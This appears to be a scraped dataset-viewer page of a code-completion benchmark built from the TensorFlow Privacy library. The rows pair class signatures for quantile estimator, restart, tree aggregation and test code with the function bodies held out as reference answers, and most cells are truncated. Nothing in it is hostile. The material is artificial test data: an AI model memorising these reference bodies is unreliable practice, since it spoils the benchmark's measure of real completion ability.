https://arxiv.org/abs/1905.038... | class QuantileAdaptiveClipSumQuery(dp_query.SumAggregationDPQuery):
"""`DPQuery` for Gaussian sum queries with adaptive clipping.
Clipping norm is tuned adaptively to converge to a value such that a specified
quantile of updates are clipped, using the algorithm of Andrew et al. (
https://arxiv.org/abs/1905.038... | noised_vectors, sum_state, sum_event = self._sum_query.get_noised_result(
sample_state.sum_state, global_state.sum_state)
del sum_state # To be set explicitly later when we know the new clip.
new_l2_norm_clip, new_quantile_estimator_state, quantile_event = (
self._quantile_estimator_query.... | """Implements `tensorflow_privacy.DPQuery.get_noised_result`."""
noised_vectors, sum_state, sum_event = self._sum_query.get_noised_result(
sample_state.sum_state, global_state.sum_state)
del sum_state # To be set explicitly later when we know the new clip.
new_l2_norm_clip, new_quantile_estima... | 56 | 1,413 | 364 | 1,777 | # Copyright 2020, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... | # Copyright 2020, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... |
40,471 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy/tensorflow_privacy/privacy/dp_query/quantile_estimator_query.py | 209,211 | 174,216 | _construct_below_estimate_query | NoPrivacyQuantileEstimatorQuery | 211,216 | 211,216 | class NoPrivacyQuantileEstimatorQuery(QuantileEstimatorQuery):
"""Iterative process to estimate target quantile of a univariate distribution.
Unlike the base class, this uses a NoPrivacyQuery to estimate the fraction
below estimate with an exact denominator, so there are no privacy guarantees.
"""
def __ini... | class NoPrivacyQuantileEstimatorQuery(QuantileEstimatorQuery):
"""Iterative process to estimate target quantile of a univariate distribution.
Unlike the base class, this uses a NoPrivacyQuery to estimate the fraction
below estimate with an exact denominator, so there are no privacy guarantees.
"""
def __ini... | del below_estimate_stddev
del expected_num_records
return no_privacy_query.NoPrivacyAverageQuery()
| del below_estimate_stddev
del expected_num_records
return no_privacy_query.NoPrivacyAverageQuery()
| 6 | 426 | 43 | 469 | # Copyright 2020, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... | # Copyright 2020, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... |
40,472 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy/tensorflow_privacy/privacy/dp_query/quantile_estimator_query.py | 141,142 | 26,174 | get_noised_result | QuantileEstimatorQuery | 143,169 | 142,169 | class QuantileEstimatorQuery(dp_query.SumAggregationDPQuery):
"""DPQuery to estimate target quantile of a univariate distribution.
Uses the algorithm of Andrew et al. (https://arxiv.org/abs/1905.03871). See
the paper for details and suggested hyperparameter settings.
"""
# pylint: disable=invalid-name
_Gl... | class QuantileEstimatorQuery(dp_query.SumAggregationDPQuery):
"""DPQuery to estimate target quantile of a univariate distribution.
Uses the algorithm of Andrew et al. (https://arxiv.org/abs/1905.03871). See
the paper for details and suggested hyperparameter settings.
"""
# pylint: disable=invalid-name
_Gl... | below_estimate_result, new_below_estimate_state, below_estimate_event = (
self._below_estimate_query.get_noised_result(
sample_state, global_state.below_estimate_state))
# Unshift below_estimate percentile by 0.5. (See comment in
# `_construct_below_estimate_query`.)
below_estimate ... | """Implements `tensorflow_privacy.DPQuery.get_noised_result`."""
below_estimate_result, new_below_estimate_state, below_estimate_event = (
self._below_estimate_query.get_noised_result(
sample_state, global_state.below_estimate_state))
# Unshift below_estimate percentile by 0.5. (See com... | 66 | 1,611 | 346 | 1,957 | # Copyright 2020, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... | # Copyright 2020, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... |
40,473 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy/tensorflow_privacy/privacy/dp_query/quantile_estimator_query.py | 242,243 | 216,248 | reset_state | TreeQuantileEstimatorQuery | 243,248 | 243,248 | class TreeQuantileEstimatorQuery(QuantileEstimatorQuery):
"""Iterative process to estimate target quantile of a univariate distribution.
Unlike the base class, this uses a `TreeResidualSumQuery` to estimate the
fraction below estimate with an exact denominator. This assumes that below
estimate value is used in... | class TreeQuantileEstimatorQuery(QuantileEstimatorQuery):
"""Iterative process to estimate target quantile of a univariate distribution.
Unlike the base class, this uses a `TreeResidualSumQuery` to estimate the
fraction below estimate with an exact denominator. This assumes that below
estimate value is used in... | new_numerator_state = self._below_estimate_query._numerator.reset_state( # pylint: disable=protected-access,line-too-long
noised_results, global_state.below_estimate_state.numerator_state)
new_below_estimate_state = global_state.below_estimate_state._replace(
numerator_state=new_numerator_state... | new_numerator_state = self._below_estimate_query._numerator.reset_state( # pylint: disable=protected-access,line-too-long
noised_results, global_state.below_estimate_state.numerator_state)
new_below_estimate_state = global_state.below_estimate_state._replace(
numerator_state=new_numerator_state... | 14 | 417 | 133 | 550 | # Copyright 2020, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... | # Copyright 2020, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... |
40,476 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy/tensorflow_privacy/privacy/dp_query/restart_query.py | 88,89 | 58,105 | next | PeriodicRoundRestartIndicator | 98,105 | 89,105 | class PeriodicRoundRestartIndicator(RestartIndicator):
"""Indicator for resetting the tree state after every a few number of queries.
The indicator will maintain an internal counter as state.
"""
def __init__(self, period: int, warmup: Optional[int] = None):
"""Construct the `PeriodicRoundRestartIndicator... | class PeriodicRoundRestartIndicator(RestartIndicator):
"""Indicator for resetting the tree state after every a few number of queries.
The indicator will maintain an internal counter as state.
"""
def __init__(self, period: int, warmup: Optional[int] = None):
"""Construct the `PeriodicRoundRestartIndicator... | period = tf.constant(self.period, tf.int32)
warmup = tf.constant(self.warmup, tf.int32)
state = state + tf.constant(1, tf.int32)
flag = tf.math.equal(tf.math.floormod(state, period), warmup)
return flag, state
| """Gets next bool indicator and advances the state.
Args:
state: The current state.
Returns:
A pair (value, new_state) where value is the bool indicator and new_state
of `state+1`.
"""
period = tf.constant(self.period, tf.int32)
warmup = tf.constant(self.warmup, tf.int32)
... | 22 | 410 | 104 | 514 | # Copyright 2021, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... | # Copyright 2021, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... |
40,477 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy/tensorflow_privacy/privacy/dp_query/restart_query.py | 128,130 | 105,149 | next | PeriodicTimeRestartIndicator | 139,149 | 130,149 | class PeriodicTimeRestartIndicator(RestartIndicator):
"""Indicator for periodically resetting the tree state after a certain time.
The indicator will maintain a state to track the previous restart time.
"""
def __init__(self, period_seconds: float):
"""Construct the `PeriodicTimeRestartIndicator`.
Ar... | class PeriodicTimeRestartIndicator(RestartIndicator):
"""Indicator for periodically resetting the tree state after a certain time.
The indicator will maintain a state to track the previous restart time.
"""
def __init__(self, period_seconds: float):
"""Construct the `PeriodicTimeRestartIndicator`.
Ar... | current_time = tf.timestamp()
current_period = current_time - state
reset_flag = tf.math.greater(
current_period,
tf.convert_to_tensor(self.period_seconds, current_period.dtype))
if reset_flag:
state = current_time
return reset_flag, state
| """Gets next bool indicator and advances the state.
Args:
state: The current state.
Returns:
A pair (value, new_state) where value is the bool indicator and new_state
of time.
"""
current_time = tf.timestamp()
current_period = current_time - state
reset_flag = tf.math.g... | 22 | 290 | 100 | 390 | # Copyright 2021, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... | # Copyright 2021, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... |
40,478 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy/tensorflow_privacy/privacy/dp_query/restart_query.py | 44,46 | 27,58 | next | RestartIndicator | 55,58 | 46,58 | class RestartIndicator(metaclass=abc.ABCMeta):
"""Base class establishing interface for restarting the tree state.
A `RestartIndicator` maintains a state, and each time `next` is called, a bool
value is generated to indicate whether to restart, and the indicator state is
advanced.
"""
@abc.abstractmethod
... | class RestartIndicator(metaclass=abc.ABCMeta):
"""Base class establishing interface for restarting the tree state.
A `RestartIndicator` maintains a state, and each time `next` is called, a bool
value is generated to indicate whether to restart, and the indicator state is
advanced.
"""
@abc.abstractmethod
... | raise NotImplementedError
| """Gets next bool indicator and advances the `RestartIndicator` state.
Args:
state: The current state.
Returns:
A pair (value, new_state) where value is bool indicator and new_state
is the advanced state.
"""
raise NotImplementedError
| 2 | 233 | 13 | 246 | # Copyright 2021, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... | # Copyright 2021, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... |
40,479 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy/tensorflow_privacy/privacy/dp_query/restart_query.py | 190,192 | 149,205 | get_noised_result | RestartQuery | 193,202 | 192,202 | class RestartQuery(dp_query.SumAggregationDPQuery):
"""`DPQuery` for `SumAggregationDPQuery` with a `reset_state` function."""
# pylint: disable=invalid-name
_GlobalState = collections.namedtuple(
'_GlobalState', ['inner_query_state', 'indicator_state'])
def __init__(self, inner_query: dp_query.SumAggre... | class RestartQuery(dp_query.SumAggregationDPQuery):
"""`DPQuery` for `SumAggregationDPQuery` with a `reset_state` function."""
# pylint: disable=invalid-name
_GlobalState = collections.namedtuple(
'_GlobalState', ['inner_query_state', 'indicator_state'])
def __init__(self, inner_query: dp_query.SumAggre... | noised_results, inner_state, event = self._inner_query.get_noised_result(
sample_state, global_state.inner_query_state)
restart_flag, indicator_state = self._restart_indicator.next(
global_state.indicator_state)
if restart_flag:
inner_state = self._inner_query.reset_state(noised_result... | """Implements `tensorflow_privacy.DPQuery.get_noised_result`."""
noised_results, inner_state, event = self._inner_query.get_noised_result(
sample_state, global_state.inner_query_state)
restart_flag, indicator_state = self._restart_indicator.next(
global_state.indicator_state)
if restart_... | 23 | 645 | 142 | 787 | # Copyright 2021, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... | # Copyright 2021, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... |
40,481 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy/tensorflow_privacy/privacy/dp_query/restart_query_test.py | 114,124 | 112,183 | test_sum_scalar_tree_aggregation_reset | RestartQueryTest | 124,149 | 124,149 | class RestartQueryTest(tf.test.TestCase, parameterized.TestCase):
@parameterized.named_parameters(
('s0t1f1', 0., 1., 1),
('s0t1f2', 0., 1., 2),
('s0t1f5', 0., 1., 5),
('s1t1f5', 1., 1., 5),
('s1t2f2', 1., 2., 2),
('s1t5f6', 1., 5., 6),
)
def test_sum_scalar_tree_aggregation_r... | class RestartQueryTest(tf.test.TestCase, parameterized.TestCase):
@parameterized.named_parameters(
('s0t1f1', 0., 1., 1),
('s0t1f2', 0., 1., 2),
('s0t1f5', 0., 1., 5),
('s1t1f5', 1., 1., 5),
('s1t2f2', 1., 2., 2),
('s1t5f6', 1., 5., 6),
)
def test_sum_scalar_tree_aggregation_r... | total_steps = 20
indicator = restart_query.PeriodicRoundRestartIndicator(period)
query = tree_aggregation_query.TreeCumulativeSumQuery(
clip_fn=_get_l2_clip_fn(),
clip_value=scalar_value + 1., # no clip
noise_generator=lambda: tree_node_value,
record_specs=tf.TensorSpec([]),... | total_steps = 20
indicator = restart_query.PeriodicRoundRestartIndicator(period)
query = tree_aggregation_query.TreeCumulativeSumQuery(
clip_fn=_get_l2_clip_fn(),
clip_value=scalar_value + 1., # no clip
noise_generator=lambda: tree_node_value,
record_specs=tf.TensorSpec([]),... | 112 | 706 | 402 | 1,108 | # Copyright 2021, Google LLC.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing... | # Copyright 2021, Google LLC.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing... |
40,482 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy/tensorflow_privacy/privacy/dp_query/restart_query_test.py | 51,54 | 24,70 | test_round_indicator | RoundRestartIndicatorTest | 54,60 | 54,60 | class RoundRestartIndicatorTest(tf.test.TestCase, parameterized.TestCase):
def assertRestartsOnPeriod(self, indicator: restart_query.RestartIndicator,
state: tf.Tensor, total_steps: int, period: int,
offset: int):
"""Asserts a restart occurs only every `p... | class RoundRestartIndicatorTest(tf.test.TestCase, parameterized.TestCase):
def assertRestartsOnPeriod(self, indicator: restart_query.RestartIndicator,
state: tf.Tensor, total_steps: int, period: int,
offset: int):
"""Asserts a restart occurs only every `p... | total_steps = 20
indicator = restart_query.PeriodicRoundRestartIndicator(period)
state = indicator.initialize()
self.assertRestartsOnPeriod(indicator, state, total_steps, period, period)
| total_steps = 20
indicator = restart_query.PeriodicRoundRestartIndicator(period)
state = indicator.initialize()
self.assertRestartsOnPeriod(indicator, state, total_steps, period, period)
| 14 | 549 | 68 | 617 | # Copyright 2021, Google LLC.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing... | # Copyright 2021, Google LLC.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing... |
40,483 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy/tensorflow_privacy/privacy/dp_query/restart_query_test.py | 78,79 | 70,103 | test_round_indicator | TimeRestartIndicatorTest | 79,103 | 79,103 | class TimeRestartIndicatorTest(tf.test.TestCase, parameterized.TestCase):
@parameterized.named_parameters(('zero', 0), ('negative', -1.))
def test_round_raise(self, secs):
with self.assertRaisesRegex(
ValueError, 'Restart period_seconds should be larger than 0'):
restart_query.PeriodicTimeRestart... | class TimeRestartIndicatorTest(tf.test.TestCase, parameterized.TestCase):
@parameterized.named_parameters(('zero', 0), ('negative', -1.))
def test_round_raise(self, secs):
with self.assertRaisesRegex(
ValueError, 'Restart period_seconds should be larger than 0'):
restart_query.PeriodicTimeRestart... | indicator = restart_query.PeriodicTimeRestartIndicator(period_seconds=3600 *
23.5)
# TODO(b/193679963): use `tf.timestamp` as the default of a member of
# the `PeriodicTimeRestartIndicator` to unroll the mock test.
return_time = tf.Variable(
... | indicator = restart_query.PeriodicTimeRestartIndicator(period_seconds=3600 *
23.5)
# TODO(b/193679963): use `tf.timestamp` as the default of a member of
# the `PeriodicTimeRestartIndicator` to unroll the mock test.
return_time = tf.Variable(
... | 116 | 130 | 501 | 631 | # Copyright 2021, Google LLC.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing... | # Copyright 2021, Google LLC.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing... |
40,484 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy/tensorflow_privacy/privacy/dp_query/test_utils.py | 20,21 | 1,47 | run_query | 34,47 | 21,47 | # Copyright 2019, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... | # Copyright 2019, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... | if not global_state:
global_state = query.initial_global_state()
params = query.derive_sample_params(global_state)
sample_state = query.initial_sample_state(next(iter(records)))
if weights is None:
for record in records:
sample_state = query.accumulate_record(params, sample_state, record)
else:
... | """Executes query on the given set of records as a single sample.
Args:
query: A PrivateQuery to run.
records: An iterable containing records to pass to the query.
global_state: The current global state. If None, an initial global state is
generated.
weights: An optional iterable containing t... | 47 | 348 | 188 | 536 | # Copyright 2019, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... | # Copyright 2019, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... | |
40,487 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy/tensorflow_privacy/privacy/dp_query/tree_aggregation.py | 92,93 | 65,141 | initialize | GaussianNoiseGenerator | 98,113 | 93,113 | class GaussianNoiseGenerator(ValueGenerator):
"""Gaussian noise generator with counter as pseudo state.
Produces i.i.d. spherical Gaussian noise at each step shaped according to a
nested structure of `tf.TensorSpec`s.
"""
# pylint: disable=invalid-name
_GlobalState = collections.namedtuple('_GlobalState',... | class GaussianNoiseGenerator(ValueGenerator):
"""Gaussian noise generator with counter as pseudo state.
Produces i.i.d. spherical Gaussian noise at each step shaped according to a
nested structure of `tf.TensorSpec`s.
"""
# pylint: disable=invalid-name
_GlobalState = collections.namedtuple('_GlobalState',... | if self._seed is None:
time_now = tf.timestamp()
residual = time_now - tf.math.floor(time_now)
return self._GlobalState(
tf.cast(
tf.stack([
tf.math.floor(tf.timestamp() * 1e6),
tf.math.floor(residual * 1e9)
]),
... | """Makes an initial state for the GaussianNoiseGenerator.
Returns:
A named tuple of (seeds, stddev).
"""
if self._seed is None:
time_now = tf.timestamp()
residual = time_now - tf.math.floor(time_now)
return self._GlobalState(
tf.cast(
tf.stack([
... | 34 | 676 | 208 | 884 | # Copyright 2021, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... | # Copyright 2021, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... |
40,488 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy/tensorflow_privacy/privacy/dp_query/tree_aggregation.py | 152,153 | 141,173 | initialize | StatelessValueGenerator | 158,160 | 153,160 | class StatelessValueGenerator(ValueGenerator):
"""A wrapper for stateless value generator that calls a no-arg function."""
def __init__(self, value_fn):
"""Initializes the StatelessValueGenerator.
Args:
value_fn: The function to call to generate values.
"""
self.value_fn = value_fn
def in... | class StatelessValueGenerator(ValueGenerator):
"""A wrapper for stateless value generator that calls a no-arg function."""
def __init__(self, value_fn):
"""Initializes the StatelessValueGenerator.
Args:
value_fn: The function to call to generate values.
"""
self.value_fn = value_fn
def in... | return ()
| """Makes an initialized state for the StatelessValueGenerator.
Returns:
An initial state (empty, because stateless).
"""
return ()
| 2 | 223 | 7 | 230 | # Copyright 2021, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... | # Copyright 2021, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.